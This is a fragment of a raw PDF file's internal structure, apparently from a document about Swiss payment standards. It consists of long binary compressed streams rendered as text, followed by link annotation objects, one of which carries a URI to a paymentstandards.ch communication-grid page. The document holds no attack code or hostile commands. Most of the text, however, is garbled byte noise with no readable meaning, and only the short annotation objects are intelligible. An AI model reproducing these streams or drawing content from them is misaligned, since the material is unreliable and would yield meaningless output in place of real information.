}.蓔<%?둇x`ppEC6oޜkc@-OT B$E vaB\W +A&|DtHvpk)X'>}QGaOfwCN2) Ц: s>kIڃ.P _{BYJP5` zgݝLS`Xr&F5w}̙쫦Dsɸ}nӦMsQ.?rS^Pg)B^9C3쑭 !'946(s'Vyᇓ2:NXfn:}M "tA1߃p\ b\0b$M+aKz)i7 M>=PDI6CW_}5}JW%<9s~ԉ5k CrQZ Q V'꭯.?pƟlw}.7fy?-mܟ2]\cBH^!},ʓsQFgu<843Cu]N1( s#{C Q{y }]ԂdVoezW{H6'ciW"p:vV_~+G}4+LX΄c2 g13Q@x ~dƀͲ&?O}E,_XS oذAX=o}'r}Pmɻ5ntjIp +]o|/Tщ. +mr7gVU `xJ+R(ŋg_Io_s5PRI궈n&,ߝ3g΃>IhE~z~Ќ6DQ3k)c]Nnp x>e+*(WJzի@p%}"Tĕ ˆT_ Q1:GVg{>aC_n^)33x1xHFkuc1g1)>1q`,2:F)E.CZʑfCqk̑=묳\@ܗ@S0f1Jli~|Z=_08n-[FW7)s=s+2^Fant}i7y\;H~Ŋ)y%L}z"Y[ [n UeasQs + )e!1oЧk6<pAQ8tYL)OUntC<{8'RQwk`:{ϵrIQmj2&q6]a 5[YqN*%/:'́`^]J}7:u"-NbS~2/|B\y啢'5, ~~,9\Ck20Q(1:}O2 gtM`bH"$sESQ)P*W|N_:R* b8EO?;n}CUDIrQTǗ\>K/TVXT_җ&ԌTB9^*1NԬN`W&4L]0#qQ)0jOj398 pnJᑹs6WO@^Nݱp1:YبH,us'ghyBN1$ާ=yjo2$y3[sf7 lviY4j9irhbJ60 MS2pRM9Vȣ3&)L6'5goQk/,bY?䰎S!FƬ[qyn|wMN1ڞI_MuPR^f+0~ѡCUe0J:Vz?QcF,݁$a y$&"x2Gu/!etᄏe9Ko|#ldq:dBts:j`b%=sgu`?b̰^=͟?c(}ǻ>Ä*ubX`)L 6d2fr+/\.KEнMhZ`u]twGHt92hbBbCVdDt_.%ۮ`OC?7pCÓO>dH2:z+gf2-ZR]_ЋzCߕC%aЅf{_vVg p.vgܠ)#`f`w Vr;.f %/yd '_]y.i0kP;(4\Ygzr1\w֬Y>(n-[/F6GLJ`*9uַDykaN_[ |i`0 YI߀ xۢD>p#:l(*@݊[s`Lg=S9'޻2`n{GRplfzFyq^=kOsDϹ:}u(mT9hN3gA2ĩr2U HXN>d'T@^i8% 믿"+M7YlfL?XĪ`X|M +B vwX3X{h谘C oܸ?o^F'nyh~N::ԛKi?3b$y#b)\7uҥKo>!65%{Y7*A3}Z*@Z:H3otr\ޚ fbe 4:6Wxh[|MwՍ',?F5Mz_n^׾_ʅ*YFW/?ׯ_/DR UÀ4$vS=̦RU"('y'(49_?OW2}jj͛l;E",P;e0`&־ѝxei]F|&_Ehc4x.=ӟ4K?я~]?Ҭ볞GIaxCG{Ё3gfB7e}4PyQ22/5`gu]It +W3?? +p]WdYuj݁7W5V,z5k_xLlئMp]f@p`!0_12:!]uUn#阈<5Gy[I" iܹs;F_c ?pL,eyGƖ}1:Q;7:%s/ Qh??>}zn Iq8m$ݭDF|&fJjTHG{gnذ뀁lK. z5l6FGٸqFNJ᢮J|Cw}7F8ss8W bskO]էBk!86'NEstF "ldtM,#xP0Fx NВxV׽NEYvZOF.9y80}/0hF/f}NsJX%aئE>B +l(FMnB%FIal,z@]/gffhsSOK"4n{y]: ̵G@Y:\:ct?/I y?zr7WUzsxg\9*4Vfð +gp5[b8sC9>#^d\IykN3!bIÕ)0$ب9,I Y]ԧ>iT$,m޼Pk|@,u+V駟/acI}fM4 n#, +sj9:[7.þlٲywA6^"*d8'Xn~v9^F{jhN"n +`;M\u?<2:x0m~f 6)uY ԚL?Y< +{~iʨ\ [0juv$XAYa +!]FEy睧Ln.F&VjnڴiثVP9}g}itn?P$_p8PJ2!+{+CC^$̡S٘l'$E4Jt7{juXV090+rۨ~hRQ^# ,u"e%S3p|S$k+]7/aM':Oo9Nڕ5vq'`~|s[) g"mP%/&e'~*)FWEG-?m]wEDԭM;ʭ$,|nb{jr"<#a{jAR$n*u,Cv^b3 <.\OcF,Ds 3 TM{@.(n[oRzvakY0D3!&Oro¹瞋U.^8|^p Qx] P["9sDa gB5\e6cy{6VI~O+Py;S71.fڂs:[!*QCUtkJ(&S$˗gsN%HDut,QCQes5ǡi67]fvy⣲d",~OK[6jnet;p.7w$$+7G"ӧ'+P/0ǻruez&@[{| x㍾[c }ZQrEg֭AV<=cz>gmerޔN&~Opth;*2:26PG?R.)(֧,,̩bk׮|EQw* l"7rI/,J5A$6j. :d;Oxє1u Pi!隓٤{ z`Ϝ93@ot$qBi¨;芶!Lvt!i|K_jě<$,d+?5zɩdgACetpѢ:gժUC-υXZ l#GrAg3# 3R$}Ē([hWNIx jt;gy:gsF + 6FW {FJ߲eKk< {5@YLSOlg1:wW\PbRq_f_p] H L/r;_W7ӅMh +y7VXӧ3Nnt`=zFA1:1{pw; [d`0Q66)@x^ +)Bh}p&D 64Ӎuف7ւQ} _X3BGOZZpbS@x/uMbo5.)!@qf>3,='Kyw䥗^ڿ-"FGyrb^8ar"uvy 55ѣH ڏ<ȉUY ׯ]#@QeٲeYRqO8ᄼۥ&e}!5?}D;FK 'QS{VT["甤T10\ p}nVѕ'f:s2%>c7ա_|MUtFh.;P_w[<9駟9$ȓs=7&fuHǶ"r&s͐WyG;̙C[ ӖYzS# fj8NE¡5]etTЖlvzoZI;Rc *)D~k_$͋_wotW4D +蘏_n1 J: +7۹ G p>1Xq1t->Ow ;蠃j YW@4L8}.v T֜c^W4ϾQn{|R$4Կvŷ1fEg19YMog{_C`FW}EHԠz- +_* Eu\CΗӉr ,P̚ +BkWɲnƸ>j_3rdy)Te9OJB +tbg1\%Wh3Zd&4{dh(2."#rc9FH \ +I8i`3$@,`I~ve}Aڋ/&t( IQ(u@k U1=r뫄8o^e }:C,BO"!=6&t a3TV>Yp1U-Fk™g 1.jG=v^®%w&ÍO*sWKIBYMsԳ8rѱZUUOk +:H3BFX~!Z7;FSp۴N,(bM5 xq1:]Lf`ln04RyĎQsjGZF.ϩAsC,FwW m;rw_ :r0BWmhӦMs~5A]ntl^C>_*M}_FیĕZEARQ~FTF2:OӉ0ڰ!_fywG6i,ye<Ϭ;eP,BN:$J~ACEYSˊ?k"(d̖,}Z/P:9P ++á3衇pa|H7k.[͞8j嚌趉w <3;4|*eM7fdHʻ˖-vkf$8r H< Bk׮F_y9ny+(i8777 X'.Lئ$\1'>>[A/C4ui%=dtvɒ%9Uu!~!*p5g|V1wacN ^is}X|yN^L٨X၆2:49眬Ҵ\um%UoF")L'ԉI;n6En{coʌQrp9?1Ff<ޏ\*N`=kb8v衇R<Rdv%欘'/"[%`^mV͡7h*oqVʦj~;0*2Z7HN ?ά/zыH޻hK oNlzmz"pIuYF~Yoٲ+ [\ryLwhSʋĵvYH%0jE +ˊJeݕ+Ws g:Xxf5WER'Z֨D߬bbq,.[R-Z4^7mjn'O]FNjF%fϞ[p:w:N Zģ:+3gakOHz A2 ,vƛqNbhF?|~g?ۜSZc 09uHos_M4hm6^bΜ9@c~Du4μp"]W5B 8b."[O]kҭQbxL+J27qƜ YrXB*T@`v/E$_- UUJ +>r]we=lov( r)> DSH<$w @u3חp%^W7^~(']͇ԙݵR@F$,Ix1Ab2nmPz^GzeϬ/ +LovRa;"ŋA` "p/b%d) SWJK``9 +:Cp^QX^{gUu';SNU&͌XTV4*CJVƤ!Mk44 h439yo ;`/(%4uȘ9蠃81ݬ iYo{Q(PY~ +=Za! =%9JPkO^֚"A]\_OU27@Gv .N5EB-Ʋ-W_ =\ 397oS@IqHgHwWeHi`Ϭ' Qc=[z]>PGOrm]-(I-!gUq}@DwuW~?c$=YrT=E[RTs9~BFGs̑K$-߉VbqMw :9K%fA?s'  e <ڟatٻf+4eP:r1X32;o87%ɹ ;;#e^ Q]{q/,ZF'7nja2Yd["PglOlSlK/Rlfѳ׿%K󋿼d1SW]u!wlyԑ)-Ep?r̀CH2:HPGqrε>f0LIt/>Sm~>Ky(<۟ *WdFsx|p-=LLf6swq' DU ?,?#$ (6L$쿑pTI_:>}SU@|e)iӦ Ua{+:3:&_\E$]&n=>6֯_nr.V1BgFyjI*=)#cT$ߙɚqOۙ9Am1ˈfZJbXGFfk^agtS '3+g|g>0#w\gS~Gsj>QRqVU5kM=RQ!cMZstIG|SO-[םqK8eGfX>:2/Aۿe`4٭YS9]G*<9V!hC;ДֺoilZߞCHm<Qp GU48WEБ w, nak䧮PE!II2RFzU=54# _~T77HP+H#/L([$EZLLOve`9~ehܨMᥐ QVUn!r'?I#{fM//Š[I'DqÐnݺ_:,nX4{4 (R>g,;0ORx…9ٞ=!y 5R*PlYA?wI[Yf3R𙫲]F bn b.HP9W/]>CIC$ bn =E"o\>dmVǏ}'Rt,,C ZPpb"OA92n]!)Fg n &fex^3ܐwJsQ +`@&Ak2°< +| ].2"2 )R7, +w\CR$Ԭ[+,Nn`XU$)| Ϳ{|;n ?TLgW7SK!"]ћf`[nQOQ ](Wu~H͝8'ڍHt[t$_g֎E+}̼:hܭYZ{YF<"֩duD>iyPxa*uQW_}΋bYP;eh +d-oyS,SU#`^x!Z ,yp^Ô=x͓yI^E¹ä7?k}%9֐ die͚597|–"k:ꌮf/+7b:p+×.m#5^"rUGZQV${׾sGgGgJ-̙ӈ1pMךo[a~UWeƓ`Jod]e\'n(3= /AI!fҥ\pg eng B/W{n1\Tkᢿ˿qr`,o|[qIo}"]r~_%q)0fxA:yn{L 9kN{q\wAt;n-Kh%GՒ 2n:kHh-CjnzZC4!_꜄9Hh1ؑurKl޼9]F E0ؤEYPTDYgeqx~26LtxM`uR`v!"ow$Iet;찃>iޒ<6)-XXd1G1-ZLS8$n. +?r\SGp>VIkAt*w]=аXFs6Kh묚 X)?q!fxlƍsc\%7iMozӆ JP~1:2@ + +,z05#*PF.L] t-`?]DmՑg,Ͻ*nE4<}2${J׮]/eej[g:4G X~?zeMHG +xݤt J)d]vm'2 +u3%\J9o_P\f xEzj|e +op8arHXNnKk,a΋r\{oIZ9묳wzsoF)^>kg?KtΜ9љn-C9e;$?_X݌)8 +F(~x$E:䓍W.>hܚ}]w$_>r\i+2_G?ۗ-[f(q .2:iY@/ḀbdžN} ܪѱ{.XQnKJr}A]6FgpquQґ:jRwAGtCyя~4 .r= +׍'ŋNZ2ܑˠ~E=#R^n-+y92haꅜ('ZrߌcM ڒTeXٻpDz…XEffnmF:Cκ5~cQhu?Pp5Y'C/IuIzRƭq_D3GN##~v[[vhciB2!Li$2=Z~Or)Ng}8*`|Q.ˏ;d< +E3 +]c)I' A?+xjˍ'#Ő+VS{͂T#g0A&ϊdtD7O6W u9.! wHV+Vxbhm*k?xȅ:@1h2<Ӽx-zhDݯ3g̏Qp2?97lQfE5Sܲ2<"r?6yYp,BfWr {~)\Kx__fp<'EwxտdO>q{uWE6=@U_=M %N(r4"\2"{ԃg7 j uX̺+68 Jr!mϷHNR鹁ƫ2S ȼSk_#.ot.Df"$IYF_UfE h~G'lAAMY e[&:ww1 LwߚfeHt:(82-ϾojUnґG92;\HX^gU{O72TwlCcS_~9{BZXtxp6$ ]7s],к<{2Egob dIzQʢ9K^#Ϩ"wZ~PG]fAk5yIqy+H9.E +v7msG*|C/[ U:p^GK.{s>lH/nmhtGG9cH|^.3;3PGiх|#R`t;cbbv垬mܹB) u{a'>q饗KE]:'nvf~ϋܢ^F'5BieXXj֊cX. 0!FEWTkŋ/[ֵx /b@^'9眃: +, I8CfSCt#N ƣ }.2yWi#1nJT"r&mC+'3i4jRr6؜2?xyp>иKY?o޼~1G&пǓ k֬w!Db.RqD&)O\) 㾾, +lЯd dM /Ϯ'Z4a"nOk(Y!6NͪNNw5ùPk>tIy73j>Bmht8dkdGmHY=AԸFVjNA=¢hV#Zo.~8&}HZvqǵkj +DPnb o0';~Y[GVI9@j?u_L^IJf=Q_Ow,bBs>rwu + (etQ[^Ǜs/sQS&WLw)Rͮ[()2*~ 3k_%d1dQg^qÆ j2} F… 9|هƈÑjnݺgX=|=ܣ #2\aDo"T6_(vsVuYG tm[L44:Z-Lsz=sL7^|#QNܖqP" +o?c2ԃ~4$AS(džʳ>{C=<؎qwG><3K,;c=1Ɓ>Uc.LsʥH߳^W +Yrž)ɭIh'c1!p dm_~sQG\sF1;R!dc+zviT>A%{9ZԾn˿2&*"~f#|$O^'whv) x$=&muι%ʅi췙,5 ΧLs)$40 Il]ڟ>$>?|3SQ$ty4AY^ +7Q4vaRH+}fG +稍Qrϼ˯*BGjn꧆gyƓz_fV_DfG0RɭKT V]v妛nppN yWUr}!Fr +g }L2P,anⳈqpb4.X2Z^7Y y(-w5ȍ<Qgh> †Z%`!WkKd:'jEU.V{8bĪx$ b5kE2*q)ߜHlέAk^)$_눢Ï=\*Ϭ],[#ފ*^eW5!~a .ȂcaD+aH4ᣄKO두z!4 +Z|F +KϟT e2EЬ%#N=$¢1 41S0V29(Idg.'x){=0 ^}+G?RtMTw=4Q^R̛-V(ptqF=J+wߒ%K&O<}R/9s=G"x5SVx̍n9ig׆8›yTA/IԌJEW\Y_,?Ξ + et:?Pl6 Ȇ4r'wK_Rl>+g܂IBfk*gd+g7:oO,(z_l!Vw8--w +MsWQ㊸.\8Mg}ȵ83C=Ԝ̟3ې~rFF)e}Ɔ2:I.&+n]z[D~ωO7rT@Oʲn0g8=_aJ$:ݭ;(|. DHI+`b+SЂRfctJzΜ9vZbW +'ػ{:h& 吡#J[R =\sP=74 'x/ZHU`s=q 9眣b 0`C9pN yó!ܜk:sˆ A.r1M˗/ON:)C(mfgq}]pTyL኶uePnLvj"Zyǭl*{.xfL<4G9hf/E@V4ȹU*yMu͊RJait4jxHlw~ٝ2>cX2+EZp|dt_SfxL.k ]]Ka/q;Ru\SNfp;9qTK2W1[-(dSrH*Xdܣu`r GSZ.H&^w,6$sɇR3uV # Sx n^rRƺ'ttEtMOeY{Y$R&0'of`2ݧ"2WuݕhPas3?6rA,l>nlQuٛ %~ӟ -]:"jrn>>C&AO192+-1b \=4!DUƲ\sӗb`t)bX2"b,}g\CnPխa֑#&XU- +P:}mv%[̐G93fyt*@-khI8qKgkeVO)b`ƕ Y-El!r+6b5( ̩|ܹ6I홒22j[^o1H6?DĨ<-[?bx`f͚)u F9;)c{u~T'|GP"~ +x 639#Q9uFJҜQ H0R:W%ZWeο?>gz4ȅ)6g-k6l9ji)4~zN̙Ʋ~נ5dp5gd c?Ne@96̷R:F]f:ex '6 sY\s69#g6b77/wZ{<6ؾ~G_HY|H4+=W{b!j0W+u$qD [Bs4:#?qs"Hߚڲp*R}Xy$p{ݐ4:-Y+"irXUّ뮛n>V0t7Xm ͉vgyw݆/x 9չ`4 z5r%ku]>g`Ү.̸4kT7դSh22xv榀a墓VrU֓oNV q6EN+WTzqpa_@X΋/t'ɔF2" ʿ'TT.EMH"\*|#EXL-i>O:\{9<6'rgSyR\8g듴f +s4r:h^G9`5֭$W<?; Yjƍ?A%aK W^y QMH}=PxL?",skvBVZYd v<g[(/p\? ?/~4Wy*I =ϧY +O6l?,3yp/QG6q*[ FF7֨)C ^tED!v7_F0P`]j 1Z r<&"(k0 ! |ꩧ0[hpVϨƟCTp8wܕ+W$_O}J[dL1#j@dLC'=MՀO>ozӛַ0Ь)8sH{/(INn*료XlxcX o~q3gȊ̫?Ө":3ݪZM$ǟ0O?) Ȩ03 B\ pw]C/g0fp6aQb7zh&af:5*%5Ae Ԍpҥjs#H%#Fu}JOg!ʟ֠hZ2, "=բ97X/Cp7k}E(Kרj/~4չǖG4-;ז bt{F$*P_J?%ĢBQd#ES'Rj%kw[+`}pT0D(I g"A9>Ƃt-yrȴ:sG\%uRa/jRG0.zQJVH9wG,Z!HSUJ#)dcJet{/+VJwwL 82:J<5 ˖- {2qGN%9^jDL;R{,iq7KlUU"N*Zz$7|x]4ı4SZsb,Bq$p|#<2g*`n揻M4͂1mnn1v9QP%CqgT8RNL83:`@{+b"Y~0FnPnm@; vh+Sh'# +ST8V9^f=goƌnIw7&(Y696F9=Q`v`[5adt ΔQGE2&gBMtpnڸqG_ۡ,'-YĔ?äb}BOr]Ӣѐíſ0|YMumgt4d8C:"T %馛TE, c& r)2#Q8 =?y:K)yet1 gAJb8=FE]AB +@)~}F10|Uul%>սK{pm(dɒTUuW_}5ؙ-H;6HX +?qGqQt9sk';{m[֍xDI$|`T* {SOB .i9W!Še˖&?VY~S3+xO'zK°n* i,Z6`zk> 0+eDijί:+']Ǫ?ܲ.krDu|O8 i>LrWJ]^ +t q^ȿ9&u"ma*M2"IWo&u֭Sil UUq9=mZN)UUg-fEJ"-[6CP7ָYcUu0fZhtDnm_Ҿv)&^UuiE%aBId,,rzȧՎ{!.R8vQD0r/ +v7aP]IJihtʖcDv"+]a.r{ ]mXFDʦ2xsgg}Eha6u&_WڷSyJ϶?p[ KP7K5}X_=7 n +1Y#]Qqx;qe|O*z$|f@@R +3OQDVnjlE.Ȟ|8ҋ.(CgtC\'?Y{B9|r1 @S7.b^3;_PfRya nrmSpf/OE.5(;ŲN?425|췕ZHlL¥x>ô=ʇ +@MIxHE`fHc;Zdc,li#\k/#p4Fg?7NWUh.ԫSihZMT$@8x~B&㎓Hْ/iuPx5MCZ=E"]u3,9ՊQtd>`73UqVbT6BhYd;$!f," D49N3!谗ΌD$ݣw}wwLeNSat<,;Nj:ݤioNUN2OGIPܶpnht|?m&#z'֐*d7{;g5bUU;'Kݵ +?w1׾$`jTGi(jόnV#'5]2S ҙҗtSUU25-,vډVy*{#%/ ŋAĄacɾ#*13[FG&H°tZ;%3HRR MCԕ r@5϶/ +K/tUj :)u&Rĸ5[/1I_hM'tL]VJPZo3 ZM;t&'_֮ؤ;2z gkmKE 1:VY5G*+pni;ydt/{}gS {mv5@j?OG!e"^L!.0XGh&ϑ"vm0ug?Yb_HX *O8R 'atC!k6u]0i)0 m(5]Pm̰<]2ödwtQ$\kgFNL UҢSN9;W\^ōkڐO +k =N!g_W(EMG_7Ou;erLN8p~@2eqPFYg3]`~򊄘,$䐟 h t/>5"hM1>dgq&WU9V&;`26lЄdf*:Rc3~0ymj(o +7# +5Tbp{Ԓi2C+FyvqGE*z5l>H~tRTcoCSDggFbU& (DIre dK!ɡ75FW9]ʕdS̅[c5dN#; WUM:s +urmk4Sirq)ܲHkĨe`E7F̺2<$nl'vuCUetEMO_B3KgF7]I }䪫;suRW^8" 4Y A |BDx;:D:ls?>hg_ L@yPLaJ^|Ź6 s1٬A R?M8ø,T?EE%j Ox؈m˿]{ o%/-Ss1|5אCխ]fM \*p I~`v ~-ׯ"M'r$F뮻AVa2' Y.*T7SW_ҿR[n#/>|rAі*Qђ:aorM+ѻ:3 IJCJCD?B{ڵY4 7FYRfFIӨDӢd%tVKTtY$u&/W ^5CկbZJc/k?ߟGZfdkE㨪RlR<"pHXYGm>ud8=dyҥK8pw oМ:8ҹIw֚/B;q;3#/%*{-B@n .%yx|T槣, =|'swL Hȳ; {Z{B$ f=g}rvVPjfQ\36N8kP};EҺbH9{=~G?ycg[{ FiX3WFrSEnuv$*wʄam#FP|4v9zDmOMejvggug!Ҩ;Urf5:3T*W3ׁ8 k7&LP@˃0dp{=yO~$s aQ?ć+q7-s X)gU㑭LxnJU i;>UyfZR/MbgkxamtpQ KIr W.:ڻ򖷤STy2IT$jinHɚd"탠`7TۡR ;vMWmOcb]2E3 cϗ帵^2E'e9{0lKq 0c=\n4o{@=(jnV/pZa(w#qn +Zn$\*2:jVbD;p e`ϝ&Ι HIfW.?(㦔d] + FgOmDb&JBYvv3QHMS k~ͤz/P3)ftcGڂ Eȹ֮d+0-jʀ9c#I~GxBV)oMAhpGQ3o*U6ᬿRIuiѺuX ) zȪۍLzG |M)nDOh{PF O7:nz3~LN\˩ +=ׯ_nkȸ IkL 'hz<*ؙetG}twl<^m/~4᧓8v#rH΄M3Ņ|R˿Pޞ%訮\JRF~Dzu׵M O Fo WR t$Hdt`ƒ:_WmegaX 6nMMl.E:M%iT!rY +Cԯ_¹$Bƚ\A]&??dqquV0oPRFny*g'~". &)щJ 7* u#a2- d!y"E!^\#sgF3TWp%`>7nX U1K )PP>3MuGwFq Uu0i Mg3 d鸳VZMnM !ej)sr,e]0ppbQuVUI-bH58HE|פ r[<K%/|d5` \:f B&{c炄li^5y T^(4mLVHa82 1<4:%̦<^FWCUR~[hX|;峆Bq.PcGjWMK"ƅ+5$/2"!6؈Jk=PJ$$'M{ (JED@49dzݖ;$ lHgi`9o'ɵkfK1t:}Wڬ{kZc#¿3ec1r)L ".-}+ֱ\_uRP/͛7/JiVsHPz + +LnvVa])"si#SNF:)er'J2<<30I(V~f]Ʌyѷ(yke?P-AD9ǩ̯I>N7TŞy+AugFAk_prwQUī&3yW_//+&_40G5]Fq~ %tsZFC pJN"amnVEҟ:[:)Dwoip2|OEEȟAs<wZ2@}h+ ha SO=Vzf4ːj"bf3]eK/ C\mI!1dׯцJ>5:,=[`cwt|<ώOI]3"/L (O[~tnXQ]L jJSڒp챨[()A 9pH-x~"i Iu|f~/GB9pVA]e9R{FJmcdČd^?#]Fǐ:E, +tXD'4 .-Zhv` F1Z8fn-T&]49nB1 O2'DǺ5$-M'nG$dvPI wTq}YTN?>q9AِtM*+ =ol*7( "yoe^z5\G.AjwŐ`[P^{iu/" +d5${ꩧh0]etK4AӉCZ LD12Z[r9o) eiNm*uOE~ɇOXCPJA=Y5tNW[!6lॼV&;2=R1mvcؚ%rMXyM䞵Z真N?,Wۮޅ'ȑa8uojڭuhJ0:& +_%Hs^]&-6*4UB> *Lbݺuu* BU0OG +/USOלQ. FV\RMTg~@8%GTÝs  +!f yQc {_.b#:Rz͚5*j¤^P8p{MԌA6/%@ZWD\@o&&]ǰ7tS\lu&=d˗e Cv!C_Xr-2=qU .l)3"TF(V +TbE%]Z@Ħ$zC=[Hk=姬/t +Q̙g…@>4xȈ'? CQr!=TɋgˀX`O?;Ȋ +5~[|')z-ÞjNIa ص:R^2( +HX+H.HV%cSC$9Iޒ d}K%w_Um4}iVRy': uۢGܑ7h 1qnoNG,tw?tDޮТ%/}K,?_pÈ}d7M:F){@ |{ ;0f$7l&7$S [w^׼moKmb7|F>; ѩ!kXA2yGҐ)6m𐮼J|L&ypV瞹 T}shX{Z :n9T@ʝAet Q(d2:lٲp!huԛV`X̟?s LZ5E [TwSxFQD3= #3<NґĔp9h5ey{^6֭E/W"݊+a3 h0=hE~"i*et:$ {MZ5JOR"q-;UkY;׸fo2RQ:ev1TVKY㏯/5$a:tRoW.vU ~HMkGh~6O~O[II+yxIXs؝Ht P0;Xon֞2)9u,לbtAufjW`ڵ3 cK[->wA)J)LwA _@/}#elM4Ryx` DQER7Ү#H\C2k&OMpiw_s[QrSYn6A3#OGߴy^4vl-MOS d(%}TF9hovrdSfQS!S`#JѲHiхaڞsa8ؾ«}3dcI8Ւql]\p V Ɉ<şaw >| +p,t(>VZWsQ#͔DRRP1_ߒp!R1[K;IM0$ļe)MD,^Èxv|S痒pKj*0:rL"`.9#a)隤3bAw:`?MrґLRᤕS(#M/6efDlȟ1nr]vy7I$glcϺ 8Yxʕ+eݶ"#+F$d߯z:l0:"m nzM &>}O=T{/L'L֊1^_",~Fc鿴9ɍ7򄞪KparVi8@/_609,N8Nh)oee>hZ0͢N7M]^3 ŢEݝh<@,|%G)q&P픩| ,uX M*r?̸H%ݮ[cK1<)Eސ!ctG)RhVneB6nx9Vhҥ9MEbZ0VX! Άpwړ1\󒗼oxa! @}^{23;3 :bt;(;erl~fg(N%T4^gR^r%q2}P}D{#N kuW"T&y4ձx)4R wF7<6G[ iVhۺg U=$JK]Q֑Ȱ 2Q7sEpݤjbF|Q-E nf1YSBC>'E\[ns<ߤ;ڤ9I2Zr lH>hrկ@JݱHS*%(: #:)ORD܎eoi`@N[~}wj\HC.MSNB X=;FkU{^L#_vƱ$ߩ,V&mStل 1&y3]XI=FGٷ $VFFG3H( ùr4C=wFy=@y[V:HuW淞NyP%cmO&Y~9x !$F楥O?+_J)$IzKW2DDqi(ѲG0vEo &kF^@ )& p?c[ݬ~8Uޟ߫J+U>w7 777%|߹ 9͕F́13؈0:~=M܍Nz@ڶ/#ꇶIZ]0ji{Ձн_iЌ%O\uDedLi؛ y/J(*ǿ[ɡ6>D#i$^T  Jp j3F[02jNgSh)!RzlubbTf~航+++ݡ@ls./beȻ%[C ҌVit#atfwQgggH\z1;gҜ̈(Hu|鑕ynFG˟{+666|ji"RXؑ5'xMX\\QdQ#ևQΣ#(wa1/A"CDCZt ɿv1hJFG~ +8s"#QQ8WB)Fn` [Au\srro)3bt:R@o;5RW5:,K-#IN2:-.)G\Iu0XcyP0͡{)ylus zA]y@H/1.ŧTUB`ˉnw ȀTiU*AW,Χ.l_#pS#A)_Pbt) }?fff{hbY`p-;\ MFHp\6;J;P +֖?Pg ɠkivvvʣ@4:we}[#5 $q[3iqHS`>@1T?89niiMqGm^" oy2ߞǦ^*AsLvrZ|2֭ fNG^0 O̩|7gVS#+g0\޻;==MžoHc9Y)D b&Є<9KCg4N,Ɛ"lsuu*Nq 8R1O,F$9,艟?88ptI &.U4w}P%ҡN :qF,U#RM"`7C+H~whq>!5KGA=&)~%0#e`'k?e +Vp#Q,E rE};$Qb*0uQf[ +&A Dxl4ĞKr|M j9f[&*_BhcG]\I_ M+L?1QEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEŠbD@ +endstream +endobj +249 0 obj +<< +/BS << +/W 0 +>> +/Dest [15 0 R /XYZ 91 137 0] +/F 4 +/Rect [407.55 664.64 423.73 683.64] +/StructParent 145 +/Subtype /Link +>> +endobj +250 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/fr/shared/communication-grid.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [125.35 619.64 414.65 638.64] +/StructParent 146 +/Subtype /Link +>> +endobj +251 0 obj +<< +/BS << +/W 0 +>> +/Dest [59 0 R /XYZ 82 728 0] +/F 4 +/Rect [144.76 461.8 191.46 474.8] +/StructParent 147 +/Subtype /Link +>> +endobj +252 0 obj +<< +/BS << +/W 0 +>> +/Dest [59 0 R /XYZ 167 728 0] +/F 4 +/Rect [194.26 461.8 436.91 474.8] +/StructParent 148 +/Subtype /Link +>> +endobj +253 0 obj +<< +/Length 2799 +/Filter /FlateDecode +>> +stream +x[r8ۊSDDUU3dwvYreD?Ie>v$HؠS- 蟯j3 Gf3}F7t>L y<΢Wӓ$/HjI82H"?Dӓӓki"frzF1"X2M(nf0wit;sNOCtӓa·'G3=c4RiB԰j8}[}ѻeoeo|UooNbX~[xn1087>Y|HIBgD)+x/9P´dآVү3½''&8658Ϸɂf${;CeLaM` 9Iyu0#w*mxseT}fߍK.B s> h6(ai$`QB3C'?Ih =f1G׋&`1ĭ  Zz*"vjQfU7=*BSV3E<넩2ooϹZ*{ecϴNR"sQ #Rz#:58#pDHɺY5AGw_&,ag1<׶d*[32'ܸOYvt.syDːKVu+X0a&0-Ie9so^aw5ލ^-hn9#_o.^E.MV˟٦BT4/LʵtbPmSHO~]0M̂u Lv5p]s/b*WsXkHˆSjmKN2ۤ .a!6˶m&WB7dxXp&iAYkbn?_v#&B,J0{j1Ӯ;s_ofnXhҋXfK|?OւA(-tۿ +3>g )l{E oBVQܙ$ (>@,A)qCwX돵2q^EgʶW*Nx'W!̹yLq5, , ;]o;/)پ +SgbwŮx]⮎ԓsN^j53U SubZa ڈڬ+?0*>|=.ڇ"QL +$gGI,R7)+jyz5B]Z\*S-"k3qkpU;IJ7rCQ?ĔtY}"o)G 2I:K{~ag~3Ly7CerFiqHٔ{EUo[]-!ҽguDYƑVe Zv^耨a ?1N˜»ӵׯ`DdwQoOG\ `y`ioZ2ᠭFzKҌ0~p`#y+7'#auI; +(Һ̺ T`JmfJ!*d$ G \Tĥ:.}Qh 0šGRso3 E5{Zl>Orn[sGc)($KOˎ 1&^}IfH}cOt/°:fL27aY6m.\=,+*#bIBC[IG^]fyL5Ō/{-*{6AɻlX;U+2Oۀ—cqհϕ`H(:8*Ϝ<Ǚ+5O͵ci-H-hF1&ق챮"DI 8Id)#!OMHZ4QB?5\6L) 8#Byi6~}^^7^ҎT$CcґЦQVqN3c՜\@)# ;n]Ll+/t.6|n>[EvޔMn׆oJa̢,Xc +lvNaiGDR5--CoVrSC}.K1-|X3W;)0MQ$j;E`!%3r堵fK7q 3&>m}x],{ƮjgB*|<> +/Dest [30 0 R /XYZ 40 374 0] +/F 4 +/Rect [519.66 543.72 537.57 556.72] +/StructParent 150 +/Subtype /Link +>> +endobj +255 0 obj +<< +/BS << +/W 0 +>> +/Dest [30 0 R /XYZ 40 374 0] +/F 4 +/Rect [186.93 524.72 382.4 543.72] +/StructParent 151 +/Subtype /Link +>> +endobj +256 0 obj +<< +/BS << +/W 0 +>> +/Dest [24 0 R /XYZ 40 336 0] +/F 4 +/Rect [207.32 241.72 268.44 254.72] +/StructParent 152 +/Subtype /Link +>> +endobj +257 0 obj +<< +/BS << +/W 0 +>> +/Dest [26 0 R /XYZ 40 482 0] +/F 4 +/Rect [268.95 241.72 330.07 254.72] +/StructParent 153 +/Subtype /Link +>> +endobj +258 0 obj +<< +/BS << +/W 0 +>> +/Dest [30 0 R /XYZ 40 412 0] +/F 4 +/Rect [339.3 241.72 400.42 254.72] +/StructParent 154 +/Subtype /Link +>> +endobj +259 0 obj +<< +/BS << +/W 0 +>> +/Dest [23 0 R /XYZ 82 728 0] +/F 4 +/Rect [248.15 190.72 266.06 209.72] +/StructParent 155 +/Subtype /Link +>> +endobj +260 0 obj +<< +/BS << +/W 0 +>> +/Dest [23 0 R /XYZ 82 728 0] +/F 4 +/Rect [268.86 190.72 403.66 209.72] +/StructParent 156 +/Subtype /Link +>> 